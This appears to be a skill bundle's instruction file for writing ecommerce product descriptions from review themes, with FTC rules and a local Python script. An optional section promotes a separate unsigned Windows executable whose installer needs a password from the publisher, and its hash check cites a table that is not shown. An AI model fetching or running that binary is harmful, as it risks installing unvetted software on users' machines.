Product Description Writer

Writes a product description in buyers' own words by tallying real review themes, then checks every objective claim in the copy. Written for US ecommerce managers and marketplace sellers who list thousands of SKUs.

Use this skill when someone asks for:

• product description writer
• ecommerce product copy
• marketplace product description
• review mining copy

The job

Descriptions repeat the manufacturer's adjectives, so shoppers scroll past, and the specs that actually matter never make the page.

What you get

1. Collect the spec sheet, the review export and the claims the product is allowed to make.
2. Tally the themes buyers repeat in reviews to find the words they actually use.
3. Write the description: the hook, the benefit the buyer feels, the specs and the fit notes.
4. Flag every objective claim, comparison and superlative for substantiation.

Output contract:

• description - the hook, the benefits in buyer language, the specs and the fit notes
• themes - the review themes with counts and one real sample quote each
• claims - every objective claim with the proof the seller has to supply
• missing - the facts buyers asked about in reviews that the spec sheet does not cover

US specifics that matter

• The FTC's Mail, Internet and Telephone Order Merchandise Rule requires orders to ship within the promised time, and within 30 days when no time is promised.
• FTC guidance treats a shipping and delivery promise as an advertising claim that has to be accurate.
• The FTC's Endorsement Guides mean review quotes used in a description are endorsements, so they must be real and keep their context.
• FTC's Made in USA standard requires an unqualified claim to be literally true, or the claim has to say where the parts come from.

Guardrails (hard rules)

• Never invent a review, a rating or a count of reviews.
• Never reuse a competitor's product description or copy their wording.
• Never claim shipping speed, warranty, materials or origin that the spec sheet does not support.

Quickstart

1. Fill in the brief

templates/product-brief.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/tally_review_themes.py --input product-brief.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/product-copy-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

What a good description does

• Lead with the buyer's job, not with the manufacturer's noun.
• Give the numbers a buyer compares: dimensions, weight, capacity, material.
• Say who it does not fit; the fit note is where returns drop.
• Keep the same detail order on every SKU in the catalog.

Review mining, carefully

• Count the phrases buyers repeat, not the single glowing review.
• Sample quotes stay verbatim, with the reviewer's wording unchanged.
• A theme with five mentions is a page edit, not a headline claim.

Claims that need proof

• Comparisons need a named baseline and a stated test method.
• Durability and safety words need a test report behind them.
• Shipping, returns and warranty lines must match the seller's actual policy.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/product-copy-rules.md - Writing US product copy that holds up
• templates/product-brief.yaml - the brief to fill in
• scripts/tally_review_themes.py - the working script

Verify the bundle

python3 scripts/tally_review_themes.py --input product-brief.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.